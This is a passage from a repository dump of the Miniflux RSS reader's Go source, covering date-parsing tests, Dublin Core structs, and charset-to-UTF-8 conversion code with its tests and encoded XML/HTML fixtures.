name)\n\t}\n\n\texpectedOffset := -28800\n\tif offset != expectedOffset {\n\t\tt.Errorf(`The offset should be %v instead of %v`, expectedOffset, offset)\n\t}\n}\n\nfunc TestParseRSSDateEST(t *testing.T) {\n\tdate, err := Parse(\"Wed, 10 Feb 2021 22:46:00 EST\")\n\tif err != nil {\n\t\tt.Fatalf(`RSS dates with EST timezone should be parsed correctly: %v`, err)\n\t}\n\n\texpectedTS := int64(1613015160)\n\tif date.Unix() != expectedTS {\n\t\tt.Errorf(`The Unix timestamp should be %v instead of %v`, expectedTS, date.Unix())\n\t}\n\n\texpectedLocation := \"America/New_York\"\n\tif date.Location().String() != expectedLocation {\n\t\tt.Errorf(`The location should be %q instead of %q`, expectedLocation, date.Location())\n\t}\n\n\tname, offset := date.Zone()\n\n\texpectedName := \"EST\"\n\tif name != expectedName {\n\t\tt.Errorf(`The zone name should be %q instead of %q`, expectedName, name)\n\t}\n\n\texpectedOffset := -18000\n\tif offset != expectedOffset {\n\t\tt.Errorf(`The offset should be %v instead of %v`, expectedOffset, offset)\n\t}\n}\nfunc TestParseRSSDateOffset(t *testing.T) {\n\tdate, err := Parse(\"Sun, 28 Oct 2018 13:48:00 +0100\")\n\tif err != nil {\n\t\tt.Fatalf(`RSS dates with offset should be parsed correctly: %v`, err)\n\t}\n\n\texpectedTS := int64(1540730880)\n\tif date.Unix() != expectedTS {\n\t\tt.Errorf(`The Unix timestamp should be %v instead of %v`, expectedTS, date.Unix())\n\t}\n\n\t_, offset := date.Zone()\n\texpectedOffset := 3600\n\tif offset != expectedOffset {\n\t\tt.Errorf(`The offset should be %v instead of %v`, expectedOffset, offset)\n\t}\n}\n\nfunc TestParseWeirdDateFormat(t *testing.T) {\n\tdates := []string{\n\t\t\"Sun, 17 Dec 2017 1:55 PM EST\",\n\t\t\"9 Dec 2016 12:00 GMT\",\n\t\t\"Friday, December 22, 2017 - 3:09pm\",\n\t\t\"Friday, December 8, 2017 - 3:07pm\",\n\t\t\"Thu, 25 Feb 2016 00:00:00 Europe/Brussels\",\n\t\t\"Mon, 09 Apr 2018, 16:04\",\n\t\t\"Di, 23 Jan 2018 00:00:00 +0100\",\n\t\t\"Do, 29 Mär 2018 00:00:00 +0200\",\n\t\t\"mer, 9 avr 2018 00:00:00 +0200\",\n\t\t\"1520932969\",\n\t\t\"Tue 16 Feb 2016, 23:16:00 EDT\",\n\t\t\"Tue, 16 Feb 2016 23:16:00 EDT\",\n\t\t\"Tue, Feb 16 2016 23:16:00 EDT\",\n\t\t\"March 30 2020 07:02:38 PM\",\n\t\t\"Mon, 30 Mar 2020 19:53 +0000\",\n\t\t\"Mon, 03/30/2020 - 19:19\",\n\t\t\"2018-12-12T12:12\",\n\t\t\"2020-11-08T16:20:00-05:00Z\",\n\t\t\"Nov. 16, 2020, 10:57 a.m.\",\n\t\t\"Friday 06 November 2020\",\n\t\t\"Mon, November 16, 2020, 11:12 PM EST\",\n\t\t\"Lundi, 16. Novembre 2020 - 15:54\",\n\t\t\"Thu Nov 12 2020 17:00:00 GMT+0000 (Coordinated Universal Time)\",\n\t\t\"Sat, 11 04 2020 08:51:49 +0100\",\n\t\t\"Mon, 16th Nov 2020 13:16:28 GMT\",\n\t\t\"Nov. 2020\",\n\t\t\"ven., 03 juil. 2020 15:09:58 +0000\",\n\t\t\"Fri, 26/06/2020\",\n\t\t\"Thu, 29 Oct 2020 07:36:03 GMT-07:00\",\n\t\t\"jeu., 02 avril 2020 00:00:00 +0200\",\n\t\t\"Jan. 4, 2016, 12:37 p.m.\",\n\t\t\"2018-10-23 04:07:42 +00:00\",\n\t\t\"5 August, 2019\",\n\t\t\"mar., 01 déc. 2020 16:11:02 +0000\",\n\t\t\"Thurs, 15 Oct 2020 00:00:39 +0000\",\n\t\t\"Thur, 19 Nov 2020 00:00:39 +0000\",\n\t\t\"26 Sep 2022 GMT\",\n\t\t\"Thu, June 22, 2023 at 01:11 PM EDT\",\n\t\t\"Apr 16, 2023 08:01 GMT\",\n\t\t\"Jun 23, 2023 19:00 GMT\",\n\t\t\"09/15/2014 4:20 pm PST\",\n\t\t\"Fri, 23rd Jun 2023 09:32:20 GMT\",\n\t\t\"Sat, Oct 28 2023 08:28:28 PM\",\n\t\t\"Monday, October 6, 2023 - 16:29\\n\",\n\t\t\"10/30/23 21:55:58\",\n\t\t\"30.10.23\",\n\t}\n\n\tfor _, date := range dates {\n\t\tif _, err := Parse(date); err != nil {\n\t\t\tt.Errorf(`Unable to parse date: %q (%v)`, date, err)\n\t\t}\n\t}\n}\n\nfunc TestParseDateWithTimezoneOutOfRange(t *testing.T) {\n\tinputs := []string{\n\t\t\"2023-05-29 00:00:00-13:00\",\n\t\t\"2023-05-29 00:00:00+15:00\",\n\t}\n\tfor _, input := range inputs {\n\t\tdate, err := Parse(input)\n\n\t\tif err != nil {\n\t\t\tt.Errorf(`Unable to parse date: %v`, err)\n\t\t}\n\n\t\tif _, offset := date.Zone(); offset != 0 {\n\t\t\tt.Errorf(`The offset should be reinitialized to 0 instead of %v because it's out of range`, offset)\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "internal/reader/dublincore/dublincore.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage dublincore // import \"miniflux.app/v2/internal/reader/dublincore\"\n\ntype DublinCoreChannelElement struct {\n\tDublinCoreCreator string `xml:\"http://purl.org/dc/elements/1.1/ creator\"`\n}\n\ntype DublinCoreItemElement struct {\n\tDublinCoreTitle   string `xml:\"http://purl.org/dc/elements/1.1/ title\"`\n\tDublinCoreDate    string `xml:\"http://purl.org/dc/elements/1.1/ date\"`\n\tDublinCoreCreator string `xml:\"http://purl.org/dc/elements/1.1/ creator\"`\n\tDublinCoreContent string `xml:\"http://purl.org/rss/1.0/modules/content/ encoded\"`\n}\n"
  },
  {
    "path": "internal/reader/encoding/encoding.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage encoding // import \"miniflux.app/v2/internal/reader/encoding\"\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"io\"\n\t\"unicode/utf8\"\n\n\t\"golang.org/x/net/html/charset\"\n)\n\n// CharsetReader is used when the XML encoding is specified for the input document.\n//\n// The document is converted in UTF-8 only if a different encoding is specified\n// and the document is not already UTF-8.\n//\n// Several edge cases could exists:\n//\n// - Feeds with encoding specified only in Content-Type header and not in XML document\n// - Feeds with encoding specified in both places\n// - Feeds with encoding specified only in XML document and not in HTTP header\n// - Feeds with wrong encoding defined and already in UTF-8\nfunc CharsetReader(charsetLabel string, input io.Reader) (io.Reader, error) {\n\tbuffer, err := io.ReadAll(input)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(`encoding: unable to read input: %w`, err)\n\t}\n\n\tr := bytes.NewReader(buffer)\n\n\t// The document is already UTF-8, do not do anything (avoid double-encoding).\n\t// That means the specified encoding in XML prolog is wrong.\n\tif utf8.Valid(buffer) {\n\t\treturn r, nil\n\t}\n\n\t// Transform document to UTF-8 from the specified encoding in XML prolog.\n\treturn charset.NewReaderLabel(charsetLabel, r)\n}\n\n// NewCharsetReader returns an io.Reader that converts the content of r to UTF-8.\nfunc NewCharsetReader(r io.Reader, contentType string) (io.Reader, error) {\n\tbuffer, err := io.ReadAll(r)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(`encoding: unable to read input: %w`, err)\n\t}\n\n\treturn NewCharsetReaderFromBytes(buffer, contentType)\n}\n\nfunc NewCharsetReaderFromBytes(buffer []byte, contentType string) (io.Reader, error) {\n\tinternalReader := bytes.NewReader(buffer)\n\n\t// The document is already UTF-8, do not do anything.\n\tif utf8.Valid(buffer) {\n\t\treturn internalReader, nil\n\t}\n\n\t// Transform document to UTF-8 from the specified encoding in Content-Type header.\n\t// Note that only the first 1024 bytes are used to detect the encoding.\n\t// If the <meta charset> tag is not found in the first 1024 bytes, charset.DetermineEncoding returns \"windows-1252\" resulting in encoding issues.\n\t// See https://html.spec.whatwg.org/multipage/parsing.html#determining-the-character-encoding\n\treturn charset.NewReader(internalReader, contentType)\n}\n"
  },
  {
    "path": "internal/reader/encoding/encoding_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage encoding // import \"miniflux.app/v2/internal/reader/encoding\"\n\nimport (\n\t\"bytes\"\n\t\"io\"\n\t\"os\"\n\t\"testing\"\n\t\"unicode/utf8\"\n\n\t\"golang.org/x/text/encoding/charmap\"\n)\n\nfunc TestCharsetReaderWithUTF8(t *testing.T) {\n\tfile := \"testdata/utf8.xml\"\n\n\tf, err := os.Open(file)\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to open file: %v\", err)\n\t}\n\n\treader, err := CharsetReader(\"UTF-8\", f)\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to create reader: %v\", err)\n\t}\n\n\tdata, err := io.ReadAll(reader)\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to read data: %v\", err)\n\t}\n\n\tif !utf8.Valid(data) {\n\t\tt.Fatalf(\"Data is not valid UTF-8\")\n\t}\n\n\texpectedUnicodeString := \"Café\"\n\tif !bytes.Contains(data, []byte(expectedUnicodeString)) {\n\t\tt.Fatalf(\"Data does not contain expected unicode string: %s\", expectedUnicodeString)\n\t}\n}\n\nfunc TestCharsetReaderWithISO88591(t *testing.T) {\n\tfile := \"testdata/iso-8859-1.xml\"\n\n\tf, err := os.Open(file)\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to open file: %v\", err)\n\t}\n\n\treader, err := CharsetReader(\"ISO-8859-1\", f)\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to create reader: %v\", err)\n\t}\n\n\tdata, err := io.ReadAll(reader)\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to read data: %v\", err)\n\t}\n\n\tif !utf8.Valid(data) {\n\t\tt.Fatalf(\"Data is not valid UTF-8\")\n\t}\n\n\texpectedUnicodeString := \"Café\"\n\tif !bytes.Contains(data, []byte(expectedUnicodeString)) {\n\t\tt.Fatalf(\"Data does not contain expected unicode string: %s\", expectedUnicodeString)\n\t}\n}\n\nfunc TestCharsetReaderWithWindows1252(t *testing.T) {\n\tfile := \"testdata/windows-1252.xml\"\n\n\tf, err := os.Open(file)\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to open file: %v\", err)\n\t}\n\n\treader, err := CharsetReader(\"windows-1252\", f)\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to create reader: %v\", err)\n\t}\n\n\tdata, err := io.ReadAll(reader)\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to read data: %v\", err)\n\t}\n\n\tif !utf8.Valid(data) {\n\t\tt.Fatalf(\"Data is not valid UTF-8\")\n\t}\n\n\texpectedUnicodeString := \"Euro €\"\n\tif !bytes.Contains(data, []byte(expectedUnicodeString)) {\n\t\tt.Fatalf(\"Data does not contain expected unicode string: %s\", expectedUnicodeString)\n\t}\n}\n\nfunc TestCharsetReaderWithInvalidProlog(t *testing.T) {\n\tfile := \"testdata/invalid-prolog.xml\"\n\n\tf, err := os.Open(file)\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to open file: %v\", err)\n\t}\n\n\treader, err := CharsetReader(\"invalid\", f)\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to create reader: %v\", err)\n\t}\n\n\tdata, err := io.ReadAll(reader)\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to read data: %v\", err)\n\t}\n\n\tif !utf8.Valid(data) {\n\t\tt.Fatalf(\"Data is not valid UTF-8\")\n\t}\n\n\texpectedUnicodeString := \"Café\"\n\tif !bytes.Contains(data, []byte(expectedUnicodeString)) {\n\t\tt.Fatalf(\"Data does not contain expected unicode string: %s\", expectedUnicodeString)\n\t}\n}\n\nfunc TestCharsetReaderWithUTF8DocumentWithIncorrectProlog(t *testing.T) {\n\tfile := \"testdata/utf8-incorrect-prolog.xml\"\n\n\tf, err := os.Open(file)\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to open file: %v\", err)\n\t}\n\n\treader, err := CharsetReader(\"ISO-8859-1\", f)\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to create reader: %v\", err)\n\t}\n\n\tdata, err := io.ReadAll(reader)\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to read data: %v\", err)\n\t}\n\n\tif !utf8.Valid(data) {\n\t\tt.Fatalf(\"Data is not valid UTF-8\")\n\t}\n\n\texpectedUnicodeString := \"Café\"\n\tif !bytes.Contains(data, []byte(expectedUnicodeString)) {\n\t\tt.Fatalf(\"Data does not contain expected unicode string: %s\", expectedUnicodeString)\n\t}\n}\n\nfunc TestCharsetReaderWithWindows1252DocumentWithIncorrectProlog(t *testing.T) {\n\tfile := \"testdata/windows-1252-incorrect-prolog.xml\"\n\n\tf, err := os.Open(file)\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to open file: %v\", err)\n\t}\n\n\treader, err := CharsetReader(\"windows-1252\", f)\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to create reader: %v\", err)\n\t}\n\n\tdata, err := io.ReadAll(reader)\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to read data: %v\", err)\n\t}\n\n\tif !utf8.Valid(data) {\n\t\tt.Fatalf(\"Data is not valid UTF-8\")\n\t}\n\n\texpectedUnicodeString := \"Euro €\"\n\tif !bytes.Contains(data, []byte(expectedUnicodeString)) {\n\t\tt.Fatalf(\"Data does not contain expected unicode string: %s\", expectedUnicodeString)\n\t}\n}\n\nfunc TestNewReaderWithUTF8Document(t *testing.T) {\n\tfile := \"testdata/utf8.html\"\n\n\tf, err := os.Open(file)\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to open file: %v\", err)\n\t}\n\n\treader, err := NewCharsetReader(f, \"text/html; charset=UTF-8\")\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to create reader: %v\", err)\n\t}\n\n\tdata, err := io.ReadAll(reader)\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to read data: %v\", err)\n\t}\n\n\tif !utf8.Valid(data) {\n\t\tt.Fatalf(\"Data is not valid UTF-8\")\n\t}\n\n\texpectedUnicodeString := \"Café\"\n\tif !bytes.Contains(data, []byte(expectedUnicodeString)) {\n\t\tt.Fatalf(\"Data does not contain expected unicode string: %s\", expectedUnicodeString)\n\t}\n}\n\nfunc TestNewReaderWithUTF8DocumentAndNoContentEncoding(t *testing.T) {\n\tfile := \"testdata/utf8.html\"\n\n\tf, err := os.Open(file)\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to open file: %v\", err)\n\t}\n\n\treader, err := NewCharsetReader(f, \"text/html\")\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to create reader: %v\", err)\n\t}\n\n\tdata, err := io.ReadAll(reader)\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to read data: %v\", err)\n\t}\n\n\tif !utf8.Valid(data) {\n\t\tt.Fatalf(\"Data is not valid UTF-8\")\n\t}\n\n\texpectedUnicodeString := \"Café\"\n\tif !bytes.Contains(data, []byte(expectedUnicodeString)) {\n\t\tt.Fatalf(\"Data does not contain expected unicode string: %s\", expectedUnicodeString)\n\t}\n}\n\nfunc TestNewReaderWithISO88591Document(t *testing.T) {\n\tfile := \"testdata/iso-8859-1.xml\"\n\n\tf, err := os.Open(file)\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to open file: %v\", err)\n\t}\n\n\treader, err := NewCharsetReader(f, \"text/html; charset=ISO-8859-1\")\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to create reader: %v\", err)\n\t}\n\n\tdata, err := io.ReadAll(reader)\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to read data: %v\", err)\n\t}\n\n\tif !utf8.Valid(data) {\n\t\tt.Fatalf(\"Data is not valid UTF-8\")\n\t}\n\n\texpectedUnicodeString := \"Café\"\n\tif !bytes.Contains(data, []byte(expectedUnicodeString)) {\n\t\tt.Fatalf(\"Data does not contain expected unicode string: %s\", expectedUnicodeString)\n\t}\n}\n\nfunc TestNewReaderWithISO88591DocumentAndNoContentType(t *testing.T) {\n\tfile := \"testdata/iso-8859-1.xml\"\n\n\tf, err := os.Open(file)\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to open file: %v\", err)\n\t}\n\n\treader, err := NewCharsetReader(f, \"\")\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to create reader: %v\", err)\n\t}\n\n\tdata, err := io.ReadAll(reader)\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to read data: %v\", err)\n\t}\n\n\tif !utf8.Valid(data) {\n\t\tt.Fatalf(\"Data is not valid UTF-8\")\n\t}\n\n\texpectedUnicodeString := \"Café\"\n\tif !bytes.Contains(data, []byte(expectedUnicodeString)) {\n\t\tt.Fatalf(\"Data does not contain expected unicode string: %s\", expectedUnicodeString)\n\t}\n}\n\nfunc TestNewReaderWithISO88591DocumentWithMetaAfter1024Bytes(t *testing.T) {\n\tfile := \"testdata/iso-8859-1-meta-after-1024.html\"\n\n\tf, err := os.Open(file)\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to open file: %v\", err)\n\t}\n\n\treader, err := NewCharsetReader(f, \"text/html\")\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to create reader: %v\", err)\n\t}\n\n\tdata, err := io.ReadAll(reader)\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to read data: %v\", err)\n\t}\n\n\tif !utf8.Valid(data) {\n\t\tt.Fatalf(\"Data is not valid UTF-8\")\n\t}\n\n\texpectedUnicodeString := \"Café\"\n\tif !bytes.Contains(data, []byte(expectedUnicodeString)) {\n\t\tt.Fatalf(\"Data does not contain expected unicode string: %s\", expectedUnicodeString)\n\t}\n}\n\nfunc TestNewReaderWithUTF8DocumentWithMetaAfter1024Bytes(t *testing.T) {\n\tfile := \"testdata/utf8-meta-after-1024.html\"\n\n\tf, err := os.Open(file)\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to open file: %v\", err)\n\t}\n\n\treader, err := NewCharsetReader(f, \"text/html\")\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to create reader: %v\", err)\n\t}\n\n\tdata, err := io.ReadAll(reader)\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to read data: %v\", err)\n\t}\n\n\tif !utf8.Valid(data) {\n\t\tt.Fatalf(\"Data is not valid UTF-8\")\n\t}\n\n\texpectedUnicodeString := \"Café\"\n\tif !bytes.Contains(data, []byte(expectedUnicodeString)) {\n\t\tt.Fatalf(\"Data does not contain expected unicode string: %s\", expectedUnicodeString)\n\t}\n}\n\nfunc TestCharsetReaderWithKOI8RLabel(t *testing.T) {\n\texpectedUnicodeString := \"Привет мир\"\n\n\tinput, err := charmap.KOI8R.NewEncoder().Bytes([]byte(expectedUnicodeString))\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to build KOI8-R input: %v\", err)\n\t}\n\n\treader, err := CharsetReader(\"koi8-r\", bytes.NewReader(input))\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to create reader: %v\", err)\n\t}\n\n\tdata, err := io.ReadAll(reader)\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to read data: %v\", err)\n\t}\n\n\tif !utf8.Valid(data) {\n\t\tt.Fatalf(\"Data is not valid UTF-8\")\n\t}\n\n\tif string(data) != expectedUnicodeString {\n\t\tt.Fatalf(\"Data does not match expected unicode string, got %q expected %q\", string(data), expectedUnicodeString)\n\t}\n}\n\nfunc TestCharsetReaderWithUppercaseKOI8RLabel(t *testing.T) {\n\texpectedUnicodeString := \"Привет мир\"\n\n\tinput, err := charmap.KOI8R.NewEncoder().Bytes([]byte(expectedUnicodeString))\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to build KOI8-R input: %v\", err)\n\t}\n\n\treader, err := CharsetReader(\"KOI8-R\", bytes.NewReader(input))\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to create reader: %v\", err)\n\t}\n\n\tdata, err := io.ReadAll(reader)\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to read data: %v\", err)\n\t}\n\n\tif !utf8.Valid(data) {\n\t\tt.Fatalf(\"Data is not valid UTF-8\")\n\t}\n\n\tif string(data) != expectedUnicodeString {\n\t\tt.Fatalf(\"Data does not match expected unicode string, got %q expected %q\", string(data), expectedUnicodeString)\n\t}\n}\n\nfunc TestCharsetReaderWithKOI8RFeedFixture(t *testing.T) {\n\tfile := \"testdata/koi8r.xml\"\n\n\tf, err := os.Open(file)\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to open file: %v\", err)\n\t}\n\n\treader, err := CharsetReader(\"KOI8-R\", f)\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to create reader: %v\", err)\n\t}\n\n\tdata, err := io.ReadAll(reader)\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to read data: %v\", err)\n\t}\n\n\tif !utf8.Valid(data) {\n\t\tt.Fatalf(\"Data is not valid UTF-8\")\n\t}\n\n\tif !bytes.Contains(data, []byte(\"Пример RSS ленты\")) {\n\t\tt.Fatalf(\"Data does not contain expected unicode string: %s\", \"Пример RSS ленты\")\n\t}\n\n\tif !bytes.Contains(data, []byte(\"Привет мир! Ёжик, чай, Москва, Санкт-Петербург.\")) {\n\t\tt.Fatalf(\"Data does not contain expected unicode string: %s\", \"Привет мир! Ёжик, чай, Москва, Санкт-Петербург.\")\n\t}\n}\n\nfunc TestNewCharsetReaderWithKOI8RContentType(t *testing.T) {\n\texpectedUnicodeString := \"Привет мир\"\n\n\tinput, err := charmap.KOI8R.NewEncoder().Bytes([]byte(expectedUnicodeString))\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to build KOI8-R input: %v\", err)\n\t}\n\n\treader, err := NewCharsetReader(bytes.NewReader(input), \"text/xml; charset=koi8-r\")\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to create reader: %v\", err)\n\t}\n\n\tdata, err := io.ReadAll(reader)\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to read data: %v\", err)\n\t}\n\n\tif !utf8.Valid(data) {\n\t\tt.Fatalf(\"Data is not valid UTF-8\")\n\t}\n\n\tif string(data) != expectedUnicodeString {\n\t\tt.Fatalf(\"Data does not match expected unicode string, got %q expected %q\", string(data), expectedUnicodeString)\n\t}\n}\n\nfunc TestNewCharsetReaderWithKOI8RFeedFixtureAndContentType(t *testing.T) {\n\tfile := \"testdata/koi8r.xml\"\n\n\tf, err := os.Open(file)\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to open file: %v\", err)\n\t}\n\n\treader, err := NewCharsetReader(f, \"application/rss+xml; charset=KOI8-R\")\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to create reader: %v\", err)\n\t}\n\n\tdata, err := io.ReadAll(reader)\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to read data: %v\", err)\n\t}\n\n\tif !utf8.Valid(data) {\n\t\tt.Fatalf(\"Data is not valid UTF-8\")\n\t}\n\n\tif !bytes.Contains(data, []byte(\"Тестовая лента в кодировке KOI8-R\")) {\n\t\tt.Fatalf(\"Data does not contain expected unicode string: %s\", \"Тестовая лента в кодировке KOI8-R\")\n\t}\n\n\tif !bytes.Contains(data, []byte(\"Проверка специальных символов\")) {\n\t\tt.Fatalf(\"Data does not contain expected unicode string: %s\", \"Проверка специальных символов\")\n\t}\n}\n"
  },
  {
    "path": "internal/reader/encoding/testdata/invalid-prolog.xml",
    "content": "<?xml version=\"1.0\" encoding=\"invalid\"?>\n<feed>\n    <title>테스트 피드</title>\n    <entry>\n        <title>Café</title>\n    </entry>\n</feed>"
  },
  {
    "path": "internal/reader/encoding/testdata/iso-8859-1-meta-after-1024.html",
    "content": "<!DOCTYPE html>\n<html>\n  <!---\n\n  This text is greater than 1024 bytes which are used by the charset.NewReader to determine the encoding of the file.\n\n  This comment is used to pad the file to 1024 bytes.\n\n  The <meta> tag must be after 1024 bytes to ensure that the encoding is detected correctly.\n\n  ---\n\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n\n  -->\n  <head>\n    <meta charset=\"iso-8859-1\">\n    <title>Frdric</title>\n  </head>\n  <body>\n    <p>Caf</p>\n  </body>\n</html>"
  },
  {
    "path": "internal/reader/encoding/testdata/iso-8859-1.html",
    "content": "<!DOCTYPE html>\n<html>\n  <head>\n    <meta charset=\"iso-8859-1\">\n    <title>Frdric</title>\n  </head>\n  <body>\n    <p>Caf</p>\n  </body>\n</html>"
  },
  {
    "path": "internal/reader/encoding/testdata/iso-8859-1.xml",
    "content": "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n<rss version=\"2.0\">\n    <channel>\n        <title>Caf</title>\n        <description>Prsentation</description>\n    </channel>\n</rss>"
  },
  {
    "path": "internal/reader/encoding/testdata/koi8r.xml",
    "content": "<?xml version=\"1.0\" encoding=\"KOI8-R\"?>\n<rss version=\"2.0\">\n  <channel>\n    <title> RSS </title>\n    <link>http://example.com/</link>\n    <description>    KOI8-R</description>\n    <language>ru</language>\n    <lastBuildDate>Sat, 15 Feb 2026 12:00:00 +0000</lastBuildDate>\n\n    <item>\n      <title> </title>\n      <link>http://example.com/post1</link>\n      <guid>http://example.com/post1</guid>\n      <pubDate>Sat, 15 Feb 2026 10:00:00 +0000</pubDate>\n      <description>\n             : \n         ! , , , -.\n      </description>\n    </item>\n\n    <item>\n      <title> </title>\n      <link>http://example.com/post2</link>\n      <guid>http://example.com/post2</guid>\n      <pubDate>Sat, 15 Feb 2026 11:00:00 +0000</pubDate>\n      <description>\n          : &amp; &lt; &gt; \n          : 1234567890.\n      </description>\n    </item>\n\n  </channel>\n</rss>\n"
  },
  {
    "path": "internal/reader/encoding/testdata/utf8-incorrect-prolog.xml",
    "content": "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n<feed>\n    <title>테스트 피드</title>\n    <entry>\n        <title>Café</title>\n    </entry>\n</feed>"
  },
  {
    "path": "internal/reader/encoding/testdata/utf8-meta-after-1024.html",
    "content": "<!DOCTYPE html>\n<html>\n  <!---\n\n  This text is greater than 1024 bytes which are used by the charset.NewReader to determine the encoding of the file.\n\n  This comment is used to pad the file to 1024 bytes.\n\n  The <meta> tag must be after 1024 bytes to ensure that the encoding is detected correctly.\n\n  ---\n\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n  More text to pad the file to 1024 bytes.\n\n  -->\n  <head>\n    <meta charset=\"utf-8\">\n    <title>Frédéric</title>\n  </head>\n  <body>\n    <p>Café</p>\n  </body>\n</html>"
  },
  {
    "path": "internal/reader/encoding/testdata/utf8.html",
    "content": "<!DOCTYPE html>\n<html>\n  <head>\n    <meta charset=\"utf-8\">\n    <title>Café</title>\n  </head>\n  <body>\n    <p>Café</p>\n  </body>\n</html>"
  },
  {
    "path": "internal/reader/encoding/testdata/utf8.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<feed>\n    <title>테스트 피드</title>\n    <entry>\n        <title>Café</title>\n    </entry>\n</feed>"
  },
  {
    "path": "internal/reader/encoding/testdata/windows-1252-incorrect-prolog.xml",
    "content": "<?xml version=\"1.0\" encoding=\"windows-1252\"?>\n<rss version=\"2.0\">\n    <channel>\n        <title>Euro €</title>\n    </channel>\n</rss>"
  },
  {
    "path": "internal/reader/encoding/testdata/windows-1252.xml",
    "content": "<?xml version=\"1.0\" encoding=\"windows-1252\"?>\n<rss version=\"2.0\">\n    <channel>\n        <title>Euro </title>\n    </channel>\n</rss>"
  },
  {
    "path": "internal/reader/fetcher/encoding_wrappers.go",
